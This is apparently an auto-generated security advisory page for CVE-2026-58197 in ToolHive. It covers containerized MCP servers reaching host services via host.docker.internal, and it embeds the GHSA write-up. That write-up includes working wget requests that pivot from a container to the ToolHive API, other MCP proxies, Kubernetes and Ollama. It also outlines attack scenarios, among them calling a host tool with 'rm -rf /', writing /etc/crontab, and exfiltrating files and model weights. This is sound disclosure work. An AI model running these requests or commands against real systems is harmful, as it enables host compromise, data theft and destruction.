CVE-2026-58197: ToolHive Containerized MCP Servers Can Reach Vulnerability
HIGHCVE-2026-58197 is a HIGH (CVSS 8.8) containerized mcp servers can reach vulnerability (CWE-284: Improper Access Control) affecting ToolHive libraries in the Go ecosystem. The issue involves containerized mcp servers can reach host services via host.docker.internal, enabling lateral movement. Remediation is available by upgrading affected packages to version 0.30.1.
CVE-2026-58197 at a Glance
Security Impact
CVSS: 8.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H).
How to Fix CVE-2026-58197
To remediate this vulnerability, upgrade all affected ToolHive dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/stacklok/toolhive to 0.30.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/stacklok/toolhive
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-58197, inspect your project dependencies for ToolHive:
inspect dependencies for github.com/stacklok/toolhive
Analyze the terminal output to locate any version of ToolHive in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.30.1), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In ToolHive, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-58197 Affected ToolHive Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/stacklok/toolhive
|
Go |
< 0.30.1
|
0.30.1
|
References
Frequently Asked Questions
What is CVE-2026-58197?
Which ToolHive versions are affected?
What version fixes CVE-2026-58197?
Is github.com/stacklok/toolhive affected?
What is the CVSS score of CVE-2026-58197?
What CWE is associated with CVE-2026-58197?
How can I check Go dependencies for CVE-2026-58197?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-qg2g-g9w3-m5h8",
"modified" : "2026-09-18T17:16:02Z",
"published" : "2026-09-18T17:16:02Z",
"aliases" : [ "CVE-2026-58197" ],
"summary" : "ToolHive: containerized MCP servers can reach host services via host.docker.internal, enabling lateral movement",
"details" : "## Summary\n\nA containerized MCP server running with the default `network` permission profile (`insecure_allow_all: true`) can reach host-local services via `host.docker.internal`. This includes the ToolHive API itself, other ToolHive-managed MCP server proxies, and any other service listening on the host's localhost. Combined with the unauthenticated ToolHive API and MCP proxy endpoints, this enables a compromised or malicious MCP server to perform lateral movement without any container escape.\n\n## Severity\n\n**High** — This bypasses the container isolation model that is ToolHive's core security value proposition.\n\n## Reproduction\n\nAll tests performed from inside the `filesystem` MCP container (`docker.io/mcp/filesystem:latest`), started with default settings via `thv run filesystem -- /tmp`.\n\n### 1. Container can reach the ToolHive control plane MCP endpoint\n\n```bash\n$ docker exec <container_id> wget -qO- \\\n --header=\"Content-Type: application/json\" \\\n --header=\"Accept: application/json\" \\\n --post-data='{\"jsonrpc\":\"2.0\",\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2025-03-26\",\"capabilities\":{},\"clientInfo\":{\"name\":\"evil-mcp\",\"version\":\"1.0\"}},\"id\":1}' \\\n http://host.docker.internal:50444/mcp\n```\n\n**Result:** Full MCP handshake succeeds:\n```json\n{\"jsonrpc\":\"2.0\",\"id\":1,\"result\":{\"protocolVersion\":\"2025-03-26\",\"capabilities\":{\"logging\":{},\"tools\":{}},\"serverInfo\":{\"name\":\"toolhive-mcp\",\"version\":\"v0.9.3\"}}}\n```\n\n### 2. Container can connect to another MCP server's proxy and call its tools\n\n```bash\n$ docker exec <container_id> wget -qO- \\\n --header=\"Content-Type: application/json\" \\\n --header=\"Accept: application/json\" \\\n --post-data='{\"jsonrpc\":\"2.0\",\"method\":\"tools/list\",\"params\":{},\"id\":2}' \\\n http://host.docker.internal:64965/mcp\n```\n\n**Result:** Returns the full tool list of the target MCP server (read_file, write_file, edit_file, move_file, etc.), and tools can be called:\n\n```json\n{\"jsonrpc\":\"2.0\",\"id\":3,\"result\":{\"content\":[{\"text\":\"Allowed directories:\\n/tmp\",\"type\":\"text\"}]}}\n```\n\n### 3. Container can reach other host services\n\n```bash\n# Kubernetes API\n$ docker exec <container_id> wget -qO- --no-check-certificate https://host.docker.internal:6443/version\n{\"major\":\"1\",\"minor\":\"34\",\"gitVersion\":\"v1.34.1\"...}\n\n# Ollama LLM API\n$ docker exec <container_id> wget -qO- http://host.docker.internal:11434/api/tags\n{\"models\":[{\"name\":\"kimi-k2:1t-cloud\"...}]}\n```\n\n## Attack Scenarios\n\n### Scenario 1: Malicious MCP server pivots to privileged native MCP tools\n\nMany users run native (non-containerized) MCP servers like Desktop Commander, terminal servers, or custom tools that have `execute_command`, `write_file`, or `shell` capabilities with full host access. These typically listen on localhost ports. A malicious containerized MCP server can:\n\n1. Port-scan `host.docker.internal` to discover listening services\n2. Attempt MCP handshakes on discovered ports\n3. Call privileged tools (e.g., `execute_command(\"rm -rf /\")` or `write_file(\"/etc/crontab\", \"...\")`)\n\nThis achieves **full host compromise without any container escape vulnerability**.\n\n### Scenario 2: Compromised MCP server manipulates ToolHive itself\n\nVia the unauthenticated ToolHive MCP endpoint on port 50444, a compromised container could potentially:\n\n- List and stop other running MCP servers (denial of service)\n- Start new MCP servers with attacker-controlled images\n- Modify configurations\n\n### Scenario 3: Data exfiltration via cross-MCP-server access\n\nA low-privilege MCP server (e.g., `sequentialthinking` with no file mounts) could reach the `filesystem` server's proxy and call `read_file` to access files it was never authorized to see.\n\n### Scenario 4: LLM model theft / abuse\n\nAs demonstrated, the container can reach Ollama's API and could enumerate models, run inference, or exfiltrate model weights from self-hosted LLMs.\n\n## Root Causes\n\n1. **`insecure_allow_all: true` as default** — permits outbound connections to any destination including `host.docker.internal`\n2. **No authentication on ToolHive API / MCP proxies** — any client that can reach the port can interact fully\n3. **Docker's `host.docker.internal` DNS** — resolves to the host machine, bypassing localhost-only binding assumptions\n\n## Suggested Mitigations\n\n### Short-term\n\n- **Block `host.docker.internal` and `172.17.0.1`** (Docker gateway) in container networking by default, even when `insecure_allow_all` is enabled. These should require explicit opt-in.\n- **Add authentication to MCP proxy endpoints** — even a shared secret or token per session would prevent cross-container lateral movement.\n\n### Medium-term\n\n- **Network policy per container** — ToolHive already has the `permission_profile` infrastructure. Add support for explicit allow-lists rather than just the binary none/all choice.\n- **Isolate container networks** — run each MCP server in its own Docker network with no access to the Docker bridge gateway.\n\n### Long-term\n\n- **Mutual TLS or token-based auth** between ToolHive proxy and containers, so even if network access exists, unauthorized MCP calls are rejected.\n- **Audit logging** — log all MCP tool calls with source identification so lateral movement attempts are visible.\n\n## Environment\n\n- ToolHive v0.9.3 (macOS desktop app, Docker runtime)\n- Docker Desktop for Mac (host.docker.internal enabled by default)\n- Tested with `docker.io/mcp/filesystem:latest`",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/stacklok/toolhive"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.30.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/stacklok/toolhive/security/advisories/GHSA-qg2g-g9w3-m5h8"
}, {
"type" : "WEB",
"url" : "https://github.com/stacklok/toolhive-studio/pull/2469"
}, {
"type" : "WEB",
"url" : "https://github.com/stacklok/toolhive/pull/5583"
}, {
"type" : "WEB",
"url" : "https://github.com/stacklok/toolhive-studio/commit/968182d7f3ee1e55123369e66ad88f82128119b0"
}, {
"type" : "WEB",
"url" : "https://github.com/stacklok/toolhive/commit/d8f40cb1599b8bf66657f2dfff15bfbfc236e712"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/stacklok/toolhive"
}, {
"type" : "WEB",
"url" : "https://github.com/stacklok/toolhive-studio/releases/tag/v0.38.0"
}, {
"type" : "WEB",
"url" : "https://github.com/stacklok/toolhive/releases/tag/v0.30.1"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-284", "CWE-306" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-09-18T17:16:02Z",
"nvd_published_at" : null
}
}